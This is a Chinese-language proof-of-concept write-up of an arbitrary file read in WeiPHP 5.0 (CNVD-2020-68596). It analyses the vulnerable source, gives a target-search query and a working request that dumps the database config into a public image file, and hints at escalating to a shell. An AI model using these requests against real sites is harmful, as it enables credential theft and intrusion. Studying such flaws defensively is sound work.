Awesome-POC/CMS漏洞/WeiPHP5.0 download_imgage 前台文件任意读取 CNVD-2020-68596.md
2024-11-06 14:10:36 +08:00

258 lines
7.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WeiPHP5.0 download_imgage 前台文件任意读取 CNVD-2020-68596
## 漏洞描述
Weiphp5.0 存在前台文件任意读取漏洞,可以读取数据库配置等敏感文件
## 漏洞影响
```
Weiphp <= 5.0
```
## 网络测绘
```
app="WeiPHP"
```
## 环境搭建
[weiphp5.0官方下载参考手册](https://www.weiphp.cn/doc/Initialization_database.html)
参考官方手册创建网站即可
![image-20220518155931404](images/202205181559468.png)
漏洞函数文件:`application\material\controller\Material.php`
漏洞函数:`_download_imgage`
![image-20220518160008264](images/202205181600401.png)
```
public function _download_imgage($media_id, $picUrl = '', $dd = null)
{
$savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');
mkdirs($savePath);
$cover_id = 0;
if (empty($picUrl)) {
// 获取图片URL
$url = 'https://api.weixin.qq.com/cgi-bin/material/get_material?access_token=' . get_access_token();
$param['media_id'] = $media_id;
// dump($url);
$picContent = post_data($url, $param, 'json', false);
$picjson = json_decode($picContent, true);
// dump($picjson);die;
if (isset($picjson['errcode']) && $picjson['errcode'] != 0) {
$cover_id = do_down_image($media_id, $dd['thumb_url']);
if (!$cover_id) {
return 0;
exit();
}
}
$picName = NOW_TIME . uniqid() . '.jpg';
$picPath = $savePath . '/' . $picName;
$res = file_put_contents($picPath, $picContent);
} else {
$content = wp_file_get_contents($picUrl);
// 获取图片扩展名
$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
$picExt = 'jpg';
}
$picName = NOW_TIME . uniqid() . '.' . $picExt;
$picPath = $savePath . '/' . $picName;
$res = file_put_contents($picPath, $content);
if (!$res) {
$cover_id = do_down_image($media_id);
if (!$cover_id) {
return 0;
exit();
}
}
}
if ($res) {
$file = array(
'name' => $picName,
'type' => 'application/octet-stream',
'tmp_name' => $picPath,
'size' => $res,
'error' => 0
);
$File = D('home/Picture');
$cover_id = $File->addFile($file);
}
return $cover_id;
}
```
首先注意到函数的标识为`public`,也就是这个函数是公共调用的,并且变量`picUrl`为可控变量
根据代码从上向下分析
```
$savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');
```
```
else {
$content = wp_file_get_contents($picUrl);
// 获取图片扩展名
$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
$picExt = 'jpg';
}
$picName = NOW_TIME . uniqid() . '.' . $picExt;
$picPath = $savePath . '/' . $picName;
$res = file_put_contents($picPath, $content);
if (!$res) {
$cover_id = do_down_image($media_id);
if (!$cover_id) {
return 0;
exit();
}
}
```
分析传入变量 `picUrl``wp_file_get_contents`方法
```
$content = wp_file_get_contents($picUrl);
```
函数文件位置 `application\common.php`
![image-20220518160112407](images/202205181601465.png)
可以看到这里没有对我们的参数进行过滤,只做了一个有关超时的操作, 回到函数继续向下分析
```
$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
$picExt = 'jpg';
}
$picName = NOW_TIME . uniqid() . '.' . $picExt;
$picPath = $savePath . '/' . $picName;
$res = file_put_contents($picPath, $content);
```
这里创建了有关当前时间的图片文件,并写入文件夹`/public/uploads/picture/`
我们先尝试控制变量 `$picUrl` 来写入数据库配置文件到图片中
```
/public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php
```
![image-20220518160132259](images/202205181601329.png)
查看目录`/public/uploads/picture/`并用记事本打开写入的jpg文件
![image-20220518160149362](images/202205181601445.png)
得到数据库配置文件的信息既然这个变量可控我们也可以通过这个方法下载木马文件再通过解析漏洞或者文件包含等其他漏洞来getshell
![image-20220518160204626](images/202205181602698.png)
在当前条件下并不知道文件名是什么,所以回到代码中继续寻找可以获取文件名的办法
![image-20220518160225049](images/202205181602112.png)
```
if ($res) {
$file = array(
'name' => $picName,
'type' => 'application/octet-stream',
'tmp_name' => $picPath,
'size' => $res,
'error' => 0
);
$File = D('home/Picture');
$cover_id = $File->addFile($file);
}
```
向下跟进 `addFile` 函数
函数位置:`application\home\model\Picture.php`
![image-20220518160239897](images/202205181602963.png)
```
function addFile($file)
{
$data['md5'] = md5_file($file['tmp_name']);
$id = $this->where('md5', $data['md5'])->value('id');
if ($id > 0) {
return $id;
}
$info = pathinfo($file['tmp_name']);
$data['path'] = str_replace(SITE_PATH . '/public', '', $file['tmp_name']);
$data['sha1'] = hash_file('sha1', $file['tmp_name']);
$data['create_time'] = NOW_TIME;
$data['status'] = 1;
$data['wpid'] = get_wpid();
$id = $this->insertGetId($data);
return $id;
}
```
可以看到这部分代码写入了 Picture 表中
```
$id = $this->insertGetId($data);
```
我们查看一下数据库的这个数据表,可以发现之前所上传的数据全部缓存在这个表里了
![image-20220518160254667](images/202205181602824.png)
我们现在则需要找到不需要登录的地方来获得这些数据,所以可以全局去查找调用了这个 Picture 表的地方
![image-20220518160312578](images/202205181603655.png)
找到一处可以利用的地方
```
function user_pics()
{
$map['wpid'] = get_wpid();
$picList = M('Picture')->where(wp_where($map))
->order('id desc')
->select();
$this->assign('picList', $picList);
exit($this->fetch());
}
```
跟进 `get_wpid` 函数
```
function get_wpid($wpid = '')
{
if (defined('WPID')) {
return WPID;
} else {
return 0;
}
}
```
查看 WPID 的定义,文件位置在`config\weiphp_define.php`
![image-20220518160335575](images/202205181603854.png)
定义值默认为 1所以这里调用则可以获得数据库中Pictrue表的内容间接的知道了文件内容以及文件名
访问地址: http://webphp/public/index.php/home/file/user_pids
![image-20220518160401674](images/202205181604752.png)
可以看到文件名根据url地址访问选择下载即可